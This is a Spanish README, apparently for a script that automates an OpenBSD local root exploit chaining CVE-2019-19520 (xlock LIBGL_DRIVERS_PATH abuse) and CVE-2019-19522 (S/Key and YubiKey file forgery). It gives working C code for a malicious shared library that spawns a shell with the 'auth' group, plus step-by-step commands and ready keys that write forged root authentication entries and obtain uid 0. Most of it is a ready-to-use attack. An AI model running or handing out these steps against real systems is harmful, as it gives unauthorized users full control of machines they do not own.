Openbsd-Escalada-De-Privilegios

Un script que automatiza el proceso de escalar privilegios en el sistema OpenBSD (CVE-2019-19520) explotando el binario xlock y obteniendo su sgid y escalando al usuario root mediante (CVE-2019-19522) explotando los privilegios del grupo auth y agregando claves a Skey o Yubikey

El código C es básicamente una copia del PoC original de: https://www.openwall.com/lists/oss-security/2019/12/04/5

CVE-2019-19522: Escalada de privilegios local mediante S/Key y YubiKey

En OpenBSD, /usr/X11R6/bin/xlock está instalado por defecto y tiene set-group-ID "auth", no set-user-ID; por lo tanto, la siguiente verificación es incompleta y debería usar issetugid() en su lugar:

101 _X_HIDDEN void * 102 driOpenDriver(const char driverName) { ... 113 if (geteuid() == getuid()) { 114 / don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");

Un atacante local puede explotar esta vulnerabilidad y hacer dlopen() de su propio controlador para obtener los privilegios del grupo "auth":

$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)

$ cd /tmp

$ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h>

static void attribute ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(LINE); if (setresgid(sgid, sgid, sgid) != 0) _exit(LINE);

char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);

} EOF

$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706

$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

Ahora que hemos obtenido los privilegios del grupo auth, podemos explotar estos privilegios agregando nuestras propias claves de root a Skey o Yubikey

CVE-2019-19522: Escalada de privilegios local mediante S/Key y YubiKey

Si el tipo de autenticación S/Key o YubiKey está habilitado (ambos están instalados por defecto pero deshabilitados), entonces un atacante local puede explotar los privilegios del grupo "auth" para obtener todos los privilegios del usuario "root" (porque login_skey y login_yubikey no verifican que los archivos en /etc/skey y /var/db/yubikey pertenezcan al usuario correcto, y estos directorios son ambos escribibles por el grupo "auth").

(Nota: para obtener los privilegios del grupo "auth", un atacante local puede primero explotar CVE-2019-19520 en xlock).

Si S/Key está habilitado (mediante skeyinit -E), un atacante local con privilegios "auth" puede agregar una entrada S/Key (un archivo en /etc/skey) para el usuario "root" (si este archivo ya existe, el atacante no puede simplemente eliminarlo o renombrarlo, porque /etc/skey tiene el bit sticky; existe una solución simple, y se deja como ejercicio para el lector interesado):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root

$ chmod 0600 /etc/skey/root

$ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN

#id uid=0(root) gid=0(wheel) ...

Si YubiKey está habilitado (mediante login.conf), un atacante local con privilegios "auth" puede agregar una entrada YubiKey (dos archivos en /var/db/yubikey) para el usuario "root" (si estos archivos ya existen, el atacante puede simplemente eliminarlos o renombrarlos, porque /var/db/yubikey no tiene el bit sticky):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid

$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key

$ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul

#id uid=0(root) gid=0(wheel) ...